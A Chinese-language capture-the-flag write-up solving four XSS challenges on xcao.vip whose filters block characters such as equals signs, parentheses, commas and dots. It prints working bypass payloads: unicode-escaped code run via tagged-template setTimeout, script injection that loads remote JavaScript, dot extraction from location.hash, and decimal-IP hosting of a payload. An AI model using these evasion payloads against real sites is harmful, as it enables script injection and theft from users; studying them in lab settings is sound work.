第一关
http://xcao.vip/test/xss1.php
过滤了 =(),
要求加载任意JS代码,成功加载http://xcao.vip/xss/alert.js
看到题目中要求不能用等号括号, 想到了以前做过类似的ctf题目, 尝试用eval执行用unicode编码的js代码即可绕过限制
举个例子
alert(1)
// 等同于
eval('alert(1)')
// 等同于
eval('alert\u00281\u0029')
// 等同于
setTimeout('alert\u00281\u0029')
// 等同于
setTimeout`alert\u00281\u0029`
了解了上面的概念之后, 就很简单了
最基础的js动态加载代码
document.body.appendChild(document.createElement('script')).src='/xss/alert.js'
// 也可以简单粗暴的 document.write("<script src='/xss/alert.js'></script>")
变形
// 为了美观增加了换行
setTimeout`\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\
\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0064\u006f\
\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\
\u0065\u006d\u0065\u006e\u0074\u0028\u0027\u0073\u0063\u0072\u0069\u0070\u0074\u0027\u0029\
\u0029\u002e\u0073\u0072\u0063\u003d\u0027\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\
\u0072\u0074\u002e\u006a\u0073\u0027`
// 因为懒所以索性全转义了
Payload:
http://xcao.vip/test/xss1.php?data=%22%3E%3Cscript%3EsetTimeout\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0027\u0073\u0063\u0072\u0069\u0070\u0074\u0027\u0029\u0029\u002e\u0073\u0072\u0063\u003d\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0027
;%3C/script%3E
PS: 在思考其他解题方式的时候突然想到或许可以利用浏览器的html解析器特性, 传入畸形代码让浏览器自动补全. 但印象中浏览器补全的一般是没有配对出现的引号, 像这种等于号不知道行不行, 顺手简单尝试了一下, 果然失败了...
"><script src"http://xcao.vip/xss/alert.js"></script>
第二关
http://xcao.vip/test/xss2.php
过滤了 =().
起初看了好几遍 都以为跟第一关是一样的...甚至能用第一关的Payload.
反复切了好几遍才发现, 原来第一关那个逗号不是分句用的...真就是过滤了逗号
第二关把逗号换成了点号, 但由于在写第一关Payload的时我为了偷懒, 直接把所有的内容都unicode编码了(而不是只编码等号和括号), 所以自然也不存在点号.. 于是这关就这么打包过了.
第三关
http://xcao.vip/test/xss3.php
过滤了 (). 注意和第二题的不同,放开了=的过滤,新增了的过滤
能用等于的话, 就像直接用最简单的<script src="http://xcao.vip/xss/alert.js">去加载
但由于过滤了点号, 域名和文件扩展名的点号肯定是没法直接在这里绕开的, 所以貌似还是得写js脚本动态拼接, 绕过限制
但我突然想到了之前做过的一个类似的ctf题目, 也是过滤了点号的情况下让xss, 直接用10进制地址代替常规IP地址
举个例子
ping 2130706433
# 等同于
ping 127.0.0.1
这样这道题就变得简单了... 直接在自己的有独立IP服务器上起一个web服务, 随便放一个无后缀的js文件(也可以直接用python起一个简单的http服务, 直接返回html代码), js里面的内容可以直接复制alert.js里的内容, 也可以再用动态加载的方式引用远程js...
不过这个方法应该是非预期..毕竟符号过滤的并没有那么死.
后来群里的小伙伴提供了一个可能是预期内的解法
var dian=location['hash'][1];var url=`http://xcao${dian}vip/xss/alert${dian}js`
构造url地址, 植入锚点#.
从hash中取出锚点中的点号
利用JS属性访问器的特性, 用方括号代替点号
object.property
// 等同于
object['property']
// 补充:
// 中括号运算符总是能代替点运算符。但点运算符却不一定能全部代替中括号运算符。
// 中括号运算符可以用字符串变量的内容作为属性名。点运算符不能。
// 中括号运算符可以用纯数字为属性名。点运算符不能。
// 中括号运算符可以用js的关键字和保留字作为属性名。点运算符不能。
再利用es6的反引号内引用变量的特性, 将句号拼接进url
var a = "1";
var b = a + "2";
// 等同于
var b = `${a}2`;
思路很棒!
简化了一下, 直接用href中的点号
var url=`/xss/alert${location["href"][11]}js`;document.write`<script src=${url}></script>`
但该方法在后续利用的时候发现了一个坑点, 没能成功X到, 具体会在第四关中解释
第四关
过滤了 =().<br />
比上一关多了个等于号, 开始以为可以简单粗暴的把等于号也加到hash里面, 或是直接那里用到转义符就在哪里取一下hash
// hash: #.\
setTimeout`${location["hash"][2]}u0064${location["hash"][2]}u006f${location["hash"][2]}u0063.....`
然而这样并不行...
setTimeout(xxx
)的结果与setTimeoutxxx
不同, 前者是预期内的结果, 但由于括号被过滤了不能用. 后者总是会报错.
我用eval简单测试了一下
location.hash.substr(1)
// "alert(1)"
eval(location.hash.substr(1))
// undefined
`${location.hash.substr(1)}`
// "alert(1)"
eval`${location.hash.substr(1)}`
// (2) ["", "", raw: Array(2)]
eval(`${location.hash.substr(1)}`)
// undefined
通过返回值可以看到, 第10行并没有成功弹框, 而是返回了一个数组, 必须像第13行一样加入括号才可以正常执行
结论: 反引号中如果没有出现过变量, 那么加括号和不加的表现是一致的
如果出现变量, 则会出现差异, 猜测是先进行了变量替换? 需要再执行一次才会当成普通字符串, 相当于需要多解一次文本?
有没有大神帮忙解惑